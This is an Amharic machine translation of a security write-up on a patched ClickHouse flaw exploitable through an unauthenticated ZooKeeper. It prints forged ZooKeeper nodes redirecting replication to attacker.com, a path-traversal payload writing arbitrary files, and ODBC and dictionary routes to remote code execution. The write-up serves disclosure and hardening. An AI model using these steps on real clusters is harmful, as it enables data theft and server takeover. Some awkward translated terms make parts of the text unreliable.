የእንስሳት ማቆያ ቤቶችን ለምን መዝጋት ያስፈልግዎታል?

የእንስሳት ማቆያ ቤቶችን ለምን መዝጋት ያስፈልግዎታል?

ይህ ጽሑፍ በ ClickHouse replication ፕሮቶኮል ውስጥ በጣም ልዩ የሆነ ተጋላጭነትን የሚሸፍን ሲሆን የጥቃቱን ገጽታ እንዴት ማስፋት እንደሚቻል ያሳያል።

ክሊክሃውስ ብዙ መረጃዎችን ለማከማቸት የሚያገለግል የውሂብ ጎታ ሲሆን ብዙ ጊዜ ከአንድ በላይ ቅጂ ይጠቀማል። በ ክሊክሃውስ ውስጥ ክላስተር እና ማባዛት የተገነቡት በ አፓቼ መካነ አራዊት (ZK) እና የመፃፍ ፈቃዶችን ይፈልጋል።

ነባሪው የZK ጭነት ማረጋገጫ አያስፈልገውም፣ ስለዚህ ለካፍካ፣ ለሃዶፕ፣ ለክሊክሃውስ ውቅር የሚያገለግሉ በሺዎች የሚቆጠሩ የZK አገልጋዮች በይፋ ይገኛሉ።

የጥቃት ገጽዎን ለመቀነስ ZooKeeper ን ሲጭኑ ሁልጊዜ ማረጋገጫ እና ፈቀዳ ማዋቀር አለብዎት።

በእርግጥ በጃቫ ዲሴሪያላይዜሽን ላይ የተመሰረቱ 0 ቀናት አሉ፣ ነገር ግን አንድ አጥቂ ለ ClickHouse መባዛት ጥቅም ላይ የሚውለውን ZooKeeper ማንበብ እና መጻፍ እንደሚችል አስብ።

በክላስተሮች ሁነታ ሲዋቀር፣ ClickHouse የተከፋፈሉ ጥያቄዎችን ይደግፋል። ዲ.ኤል., በ ZK በኩል ማለፍ - ለእነሱ፣ በቅጠሉ ውስጥ ኖዶች ይፈጠራሉ /clickhouse/task_queue/ddl.

ለምሳሌ፣ ኖድ ትፈጥራለህ /clickhouse/task_queue/ddl/query-0001 ከይዘት ጋር፦

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

ከዚህ በኋላ የሙከራ ሰንጠረዡ በክላስተር ሰርቨሮች host1 እና host2 ላይ ይሰረዛል። DDL የCREATE/ALTER/DROP ጥያቄዎችን ማስኬድንም ይደግፋል።

አስፈሪ ይመስላል? ግን አጥቂ የአገልጋይ አድራሻዎችን የት ያገኛቸዋል?

የClickHouse ቅጂ በተናጠል ሰንጠረዦች ደረጃ ይሰራል፣ ስለዚህ ሰንጠረዥ በZK ሲፈጠር፣ ሜታዳታዎችን ከቅጂዎች ጋር የመለዋወጥ ኃላፊነት የሚወስደው አገልጋይ ይገለጻል። ለምሳሌ፣ ጥያቄ ሲያስፈጽሙ (ZK መዋቀር አለበት፣ chXX - የብዜቱ ስም፣ ፉባር - የጠረጴዛ ስም):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

ኖዶች ይፈጠራሉ አምዶች и ዲበ ውሂብ.

ይዘት /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

ከዚህ ክላስተር ውሂብን ማዋሃድ ይቻላል? አዎ፣ የማባዛት ወደብ ከሆነ (TCP/9009) በአገልጋዩ ላይ chXX-address ፋየርዎሉ አይዘጋም እና ለመባዛት ማረጋገጫ አይዋቀርም። ማረጋገጫን እንዴት ማለፍ እችላለሁ?

አንድ አጥቂ ይዘቱን በቀላሉ በመገልበጥ በZK አዲስ ቅጂ መፍጠር ይችላል /clickhouse/tables/01-01/foobar/replicas/chXX እና ትርጉሙን መቀየር host.

ይዘት /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

ከዚያም ሌሎች ቅጂዎችን በአጥቂው አገልጋይ ላይ መውሰድ የሚያስፈልጋቸው አዲስ የውሂብ ብሎክ እንዳለ መንገር ያስፈልግዎታል - በ ZK ውስጥ አንድ ኖድ ይፈጠራል /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX በክስተት ምዝግብ ማስታወሻ ውስጥ ካለው የመጨረሻው የበለጠ መሆን ያለበት ሞኖቶኒክ የሚጨምር ቆጣሪ ነው)

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

የት ምንጭ_ብዜት — በቀደመው ደረጃ የተፈጠረው የአጥቂው ቅጂ ስም፣ ብሎክ_አይዲ - የውሂብ ብሎክ መለያ፣ ያግኙ — የ"ብሎክ ያግኙ" ትዕዛዝ (a) ለሌሎች ስራዎች ትዕዛዞች እነሆ).

ቀጥሎ፣ እያንዳንዱ ቅጂ በሎግ ውስጥ ያለውን አዲስ ክስተት ያነባል እና የውሂብ ብሎክን ለመቀበል በአጥቂው ወደሚቆጣጠረው አገልጋይ ይሄዳል (የማባዛት ፕሮቶኮሉ ሁለትዮሽ ነው፣ በ HTTP ላይ ይሰራል)። attacker.com ጥያቄዎችን ይቀበላል፦

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

XXX ለመባዛት የማረጋገጫ ውሂብ የሆነበት ቦታ። በአንዳንድ ሁኔታዎች፣ ይህ በ ClickHouse ኮር ፕሮቶኮል እና በ HTTP በኩል ወደ ዳታቤዙ መዳረሻ ያለው መለያ ሊሆን ይችላል። እንዳየኸው፣ ለመባዛት ጥቅም ላይ የሚውለው ZooKeeper ያለተዋቀረ ማረጋገጫ ስለሚቀር የጥቃቱ ወለል እጅግ በጣም ትልቅ ይሆናል።

ከአንድ ቅጂ የውሂብ ብሎክ ለማግኘት የሚረዳውን ተግባር እንመልከት፤ ሁሉም ቅጂዎች በተገቢው ቁጥጥር ስር እንደሆኑ እና በመካከላቸው መተማመን እንዳለ ሙሉ በሙሉ በመተማመን የተጻፈ ነው።

የእንስሳት ማቆያ ቤቶችን ለምን መዝጋት ያስፈልግዎታል?
የማባዛት ሂደት ኮድ

ተግባሩ የፋይሎችን ዝርዝር፣ ከዚያም ስማቸውን፣ መጠኖቻቸውን እና ይዘቶቻቸውን ያነባል፣ ከዚያም ወደ ፋይል ስርዓቱ ይጽፋቸዋል። ውሂብ በፋይል ስርዓቱ ውስጥ እንዴት እንደሚከማች ለየብቻ መግለጽ ተገቢ ነው።

በ ውስጥ በርካታ ንዑስ ማውጫዎች አሉ /var/lib/clickhouse (ከውቅረት ፋይሉ ነባሪ የማከማቻ ማውጫ):

ባንዲራዎች - ለመቅዳት ማውጫ ባንዲራዎች, የውሂብ መጥፋት መልሶ ማግኛ ጥቅም ላይ የዋለ;
tmp - ጊዜያዊ ፋይሎችን ለማከማቸት ማውጫ;
የተጠቃሚ_ፋይሎች — በጥያቄዎች ውስጥ ያሉ ፋይሎች ያላቸው ክዋኔዎች በዚህ ማውጫ ውስጥ የተገደቡ ናቸው (INTO OUTFILE እና ሌሎችም)፤
ዲበ ውሂብ - የጠረጴዛ መግለጫዎች ያላቸው sql ፋይሎች;
አስቀድሞ የተስተካከሉ_ውቅሮች — የተሻሻሉ የውቅር ፋይሎች ከ /etc/clickhouse-server;
መረጃ — ከውሂቡ ጋር ያለው ትክክለኛው ማውጫ፣ በዚህ ሁኔታ ለእያንዳንዱ የውሂብ ጎታ የተለየ ንዑስ ማውጫ እዚህ ይፈጠራል (ለምሳሌ /var/lib/clickhouse/data/default).

ለእያንዳንዱ ሰንጠረዥ፣ በመረጃ ቋት ማውጫ ውስጥ ንዑስ ማውጫ ይፈጠራል። እያንዳንዱ አምድ በ የሞተር ቅርጸትለምሳሌ፣ ለጠረጴዛ ፉባርበአጥቂው የተፈጠሩት ፋይሎች የሚከተሉት ይፈጠራሉ፦

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

ቅጂው የውሂብ ብሎክን ሲያስኬድ ተመሳሳይ ስሞች ያላቸውን ፋይሎች ይቀበላል ብሎ ይጠብቃል እና በምንም መንገድ አያረጋግጣቸውም።

ትኩረት የሚስብ አንባቢ ምናልባት በተግባሩ ውስጥ ስለ ፋይል_ስም ደህንነቱ የተጠበቀ ውህደት አስቀድሞ ሰምቶ ሊሆን ይችላል። WriteBufferFromFileአዎ፣ ይህ አንድ አጥቂ በፋይል ስርዓቱ ላይ ባለ ማንኛውም ፋይል ላይ የተጠቃሚ መብቶችን በመጠቀም የዘፈቀደ ይዘት እንዲጽፍ ያስችለዋል። clickhouseይህንን ለማድረግ፣ በአጥቂው የሚቆጣጠረው ቅጂ ለጥያቄው የሚከተለውን ምላሽ መመለስ አለበት (ለመረዳት ቀላል የመስመር ክፍተቶች ተጨምረዋል)

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

እና ከተቀላቀለ በኋላ ../../../../../../../../../tmp/pwned ፋይሉ ይፃፋል /tmp/pwned ከይዘት ጋር ሰላም ፍሮም ዙኪፐር.

የፋይል ጽሑፍን ወደ የርቀት ኮድ አፈፃፀም (RCE) ለመቀየር በርካታ አማራጮች አሉ።

በ RCE ውስጥ ውጫዊ መዝገበ-ቃላት

በአሮጌ ስሪቶች ውስጥ፣ የClickHouse ቅንብሮች ማውጫ ከተጠቃሚ መብቶች ጋር ተቀምጧል። ጠቅታ ቤት በነባሪነት። የቅንብሮች ፋይሎች አገልግሎቱ በጅምር ላይ የሚያነባቸው እና ከዚያም የሚሸጉ የኤክስኤምኤል ፋይሎች ናቸው። /var/lib/clickhouse/preprocessed_configsለውጦች ከተደረጉ፣ እንደገና ይነበባሉ። መዳረሻ ካለዎት /etc/clickhouse-server አንድ አጥቂ የራሱን መፍጠር ይችላል ውጫዊ መዝገበ-ቃላት የሚተገበር አይነት፣ ከዚያም የዘፈቀደ ኮድ ያስፈጽሙ። የአሁኑ የClickHouse ስሪቶች እነዚህን ፈቃዶች በነባሪነት አይሰጡም፣ ነገር ግን አገልጋዩ ቀስ በቀስ ከተዘመነ፣ እንደዚህ ያሉ ፈቃዶች አሁንም ሊኖሩ ይችላሉ። የClickHouse ክላስተር እየጠበቁ ከሆነ፣ በቅንብሮች ማውጫ ላይ ያሉትን ፈቃዶች ያረጋግጡ፤ በተጠቃሚው ባለቤትነት የተያዘ መሆን አለበት። root.

ኦዲቢሲ በአርሲኢ

ፓኬጅ ሲጭኑ፣ ተጠቃሚ ይፈጠራል clickhouseግን የመነሻ ማውጫው አልተፈጠረም /nonexistentሆኖም ግን፣ ውጫዊ መዝገበ-ቃላትን ሲጠቀሙ ወይም በሌሎች ምክንያቶች አስተዳዳሪዎች ካታሎግ ይፈጥራሉ /nonexistent እና ለተጠቃሚው ይስጡት clickhouse ወደ እሱ መድረስን ይፃፉ (SSZB! በግምት ተርጓሚ).

የClickHouse ድጋፎች ODBC እና ከሌሎች የውሂብ ጎታዎች ጋር መገናኘት ይችላል። በODBC ውስጥ፣ ወደ ቤተ-መጻሕፍት የሚወስደውን መንገድ ከመረጃ ቋቱ ነጂ (.so) ጋር መግለጽ ይችላሉ። የClickHouse አሮጌ ስሪቶች ይህ በቀጥታ በጥያቄ ተቆጣጣሪው ውስጥ እንዲከናወን ፈቅደዋል፣ ነገር ግን አሁን የበለጠ ጥብቅ የግንኙነት ሕብረቁምፊ ፍተሻ በ ውስጥ ተጨምሯል። odbc-bridgeስለዚህ አሁን ከአንድ ጥያቄ የአሽከርካሪውን መንገድ መግለጽ አይቻልም። ነገር ግን አንድ አጥቂ ከላይ የተገለጸውን ተጋላጭነት በመጠቀም ወደ መነሻ ማውጫ መጻፍ ይችላል?

ፋይል እንፍጠር ~/.odbc.ini እንደዚህ አይነት ይዘት ያለው፡-

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

ከዚያም ጅምር ላይ SELECT * FROM odbc('DSN=lalala', 'test', 'test'); ቤተ መፃህፍቱ ይጫናል test.so እና RCE ተቀብያለሁ (አመሰግናለሁ) ባግሎክ (ለጠቃሚ ምክር)።

እነዚህ እና ሌሎች ተጋላጭነቶች በClickHouse ስሪት 19.14.3 ውስጥ ተስተካክለዋል። የእርስዎን ClickHouse እና ZooKeepers ይንከባከቡ!

ምንጭ: hab.com